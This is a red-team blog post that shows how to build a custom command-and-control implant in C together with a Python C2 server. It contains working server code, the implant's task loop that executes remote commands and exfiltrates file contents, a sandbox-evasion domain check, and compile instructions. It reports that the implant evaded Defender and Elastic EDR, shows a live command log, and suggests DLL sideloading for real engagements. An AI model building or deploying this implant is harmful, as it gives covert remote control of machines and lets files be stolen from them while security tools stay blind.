Create your own custom implant
2024-07-31
A few days ago I read a fantastic blog post by Forrest Kalser that piqued my curiosity. In the blog post, titled ‘Deep Sea Phishing Pt.1’, Kalser argues that custom payloads are (usually) better than stock shellcode because the EDR has already seen the stock shellcode generated by the C2 framework of your choice a few times.
He reasons that custom implants have a major advantage in that they are unlikely to be detected, since we avoid the process of loading a “known bad” shellcode into a memory region and then relying on sleep masks and memory shenanigans to hide our final implant.
In this blog post, we will take a look at building a simple, yet surprisingly evasive implant developed in C. The source code can be found on Github.
Prerequisites
As Kalser describes, we need to chain 4 tasks together to achieve our goal:
- Get instructions from our C2
- Execute instructions
- Sends the output to our C2
- Loop
Besides the implant we also need a server functioning as a C2. For that we will use a simple Python HTTP server able to log GET and POST requests.
Server
The server needs to process GET and POST requests to meet the needs of our implant. We also probably want some sort of interactive shell to issue commands.
Luckily we do not have to reinvent the wheel and were able to modify an existing implantation to adjust it to our needs.
GET and POST requests
As the following code snippet shows, we define a global variable command
which we set as the response for a GET request. For the POST request, we decode the data and simply print it out.
command = b"whoami"
class S(BaseHTTPRequestHandler):
def _set_response(self, status_code=200, content_type='text/html'):
self.send_response(status_code)
self.send_header('Content-type', content_type)
self.end_headers()
def do_GET(self):
self._set_response(content_type="text/plain")
self.wfile.write(command)
def do_POST(self):
content_length = int(self.headers['Content-Length'])
post_data = self.rfile.read(content_length)
print(post_data.decode('utf-8'))
self._set_response()
def log_request(self, code='-', size='-'):
self.log_message('"%s"', self.requestline)
Make it interactive
In order to make our implant ‘interactive’, we implement a simple function to modify the global variable command
and to exit the shell.
def interactive_shell():
print("Interactive shell started. Type 'exit' to quit.")
global command
while True:
user_input = input("Enter new command: ")
if user_input == 'exit':
print("Exiting interactive shell.")
break
elif user_input:
command = user_input.encode()
print(f"Command updated to: {command}")
Client
For this PoC the following functionality was implemented:
- Guardrails
- Retrieve tasks from our C2 with a GET request
- Execute tasks
- Send output to our C2 with a POST request
- Download files from the file system (custom task)
- Provide a random identifier for each connected client
- For a little bonus, obfuscate the function calls
Guardrails
To avoid running in a sandbox or in an environment where we to not have permission to run our implement, we need to implement some guardrails. For this PoC a simple check for the domain is enough, but I encourage you to add some further check. The current guardrails are rudimentary, but can easily be extended, as shown in 0xpat’s fantastic blog post where he conveniently provides sample C code.
bool guardrails(const char* domain){
char* taskResult = execCmd("echo %USERDOMAIN%");
if(compareString(domain,taskResult))
return TRUE;
return FALSE;
}
Fetch and execute
After checking the environment, we start our loop and start fetching new tasks. We check for a “task type” after fetching a new task. In the blog post, Kalser recommended not to overload the implant with fancy custom tasks, but I wanted to demonstrate the implementation of a custom task, so I implemented atleast one custom function to the implant.
I implemented a task which is called with !download <PATH>
.
I would not say this is a perfect download, as it just reads the file with CreateFileA
and sends the content to our server via a POST request, but it should still demonstrate how to implement a custom task.
If the fetched task is a normal cmd task, it calls execCmd()
which creates a pipe and executes a command. If a custom task is fetched, it parses the arguments and then depending on the task, in this case we only have a download task, it executes it.
while (1) {
char* newTask = getTask(clientId, wininet_dll);
if (newTask != NULL && strlen(newTask) > 0) {
printf("Task received %s\n", newTask);
TaskType taskType = getTaskType(newTask);
switch (taskType) {
case CMD_TASK: {
char* taskResult = execCmd(newTask);
printf("%s\n", taskResult);
if (taskResult != NULL) {
taskIO(taskResult,clientId,wininet_dll);
free(taskResult);
}
free(newTask);
break;
}
case CUSTOM_TASK: {
char command[MAX_ARG_LENGTH];
char* arguments[MAX_ARGS+1]; //+1 for the NULL terminator
parseParams(newTask,command,arguments);
if(compareString("!download",command)){
DWORD bytesRead;
char* customTaskResult = ReadFileContents(arguments[0], &bytesRead);
freeArguments(arguments);
printf("%s\n", customTaskResult);
if (customTaskResult != NULL) {
taskIO(customTaskResult,clientId,wininet_dll);
free(customTaskResult);
}
free(newTask);
break;
}
break;
}
default:
free(newTask);
break;
}
}
Sleep(SLEEP_TIME);
}
return 0;
Usage
To use the implant you need to compile it with mingw and strip the binary with the following command:
x86_64-w64-mingw32-gcc -o implant.exe implant.c -lwininet -s
Before compiling adjust the constants at the top of your file to include your C2 server, the domain in which you want to execute it and the sleep time.
The server can be started with: python3 server.py
. Modify the port, as per default port 80 will be used.
Tests against some AV/EDRs
In the first test, I dropped the implant on a newly created Windows 11 VM with Defender running. Defender did not detect the implant.
This didn’t really surprise me, so the next target I chose was an EDR, in this case Elastic, as I already had a deployment for it.
As we can see from the console output, the implant is working fine and we can begin to enumerate the system. The implant was not detected during the test.
root@<REDACTED>:/tmp/temper# python3 server.py
Interactive shell started. Type 'exit' to quit.
Enter new command: INFO:root:Starting httpd...
<REDACTED> - - [31/Jul/2024 08:32:06] "GET /?id=TCK3 HTTP/1.1"
ad\<REDACTED>
<REDACTED> - - [31/Jul/2024 08:32:06] "POST /TCK3 HTTP/1.1"
<REDACTED> - - [31/Jul/2024 08:32:16] "GET /?id=TCK3 HTTP/1.1"
ad\<REDACTED>
<REDACTED> - - [31/Jul/2024 08:32:16] "POST /TCK3 HTTP/1.1"
cd
Command updated to: b'cd'
Enter new command:
<REDACTED> - - [31/Jul/2024 08:32:26] "GET /?id=TCK3 HTTP/1.1"
C:\Users\<REDACTED>\Desktop
<REDACTED>- - [31/Jul/2024 08:32:26] "POST /TCK3 HTTP/1.1"
<REDACTED> - - [31/Jul/2024 08:32:36] "GET /?id=TCK3 HTTP/1.1"
C:\Users\<REDACTED>\Desktop
<REDACTED>- - [31/Jul/2024 08:32:36] "POST /TCK3 HTTP/1.1"
tasklist
Command updated to: b'tasklist'
Enter new command:
<REDACTED> - - [31/Jul/2024 08:32:46] "GET /?id=TCK3 HTTP/1.1"
Abbildname PID Sitzungsname Sitz.-Nr. Speichernutzung
========================= ======== ================ =========== ===============
[snip]
elastic-agent.exe 3108 Services 0 42.084 K
elastic-endpoint.exe 3128 Services 0 112.152 K
MpDefenderCoreService.exe 3152 Services 0 21.200 K
[snip]
task_executor.exe 13668 RDP-Tcp#0 2 10.944 K
cmd.exe 5592 RDP-Tcp#0 2 4.236 K
tasklist.exe 12676 RDP-Tcp#0 2 9.600 K
WmiPrvSE.exe 11172 Services 0 10.064 K
Conclusion
As this experiment shows, a custom implant does have some advantages over using a loader with standard shellcode. However, as Kasler explains, the trade-off is in functionality, as you have to develop the post-exploitation functionality yourself.
The current implementation has no encryption, so it would not be a good idea to use it in a real engagement, besides the usage of an EXE is never a good idea. Crafting a DLL and using lolbins to execute/sideload the implant is recommended.